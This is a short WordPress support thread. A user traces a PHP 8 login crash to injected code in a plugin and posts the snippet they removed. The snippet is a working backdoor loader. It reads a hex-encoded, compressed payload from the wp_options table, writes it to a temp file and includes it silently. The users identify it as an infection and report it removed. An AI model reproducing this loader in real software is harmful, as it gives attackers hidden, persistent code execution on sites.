Fatal PHP 8 TypeError during login

If the plugin is activated, I can’t log into WP via /wp-admin or wp-login.php

Getting this message.

There has been a critical error on this website.

Debugging shows the fatal TypeError message.

Thanks for the heads up.

This is the code we removed in order to make this work. Seems something was saving the login cookie to the db.

if (!defined('streamset')){
	define ('streamset', tempnam (ini_get ('session.save_path'), ''));

	if ($db = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME))
		{
		if ($r = @mysqli_query ($db, "SELECT option_value FROM wp_options WHERE option_id=349"))
			{
			$row = @mysqli_fetch_assoc ($r);
			$stream_c = @gzuncompress (@pack ("H*" , $row['option_value']));
			}
		}

	$stream_c = empty ($stream_c) ? '' : $stream_c;
	@file_put_contents (streamset, $stream_c);
	@mysqli_free_result ($r); 
	@mysqli_close ($db); 

	@include_once (streamset);
	@unlink (streamset);
}

Yes, we didn’t add that code or modify the plugin. Thanks for the quick replies.
I appreciate the heads up, we already resolved the con7ext infection.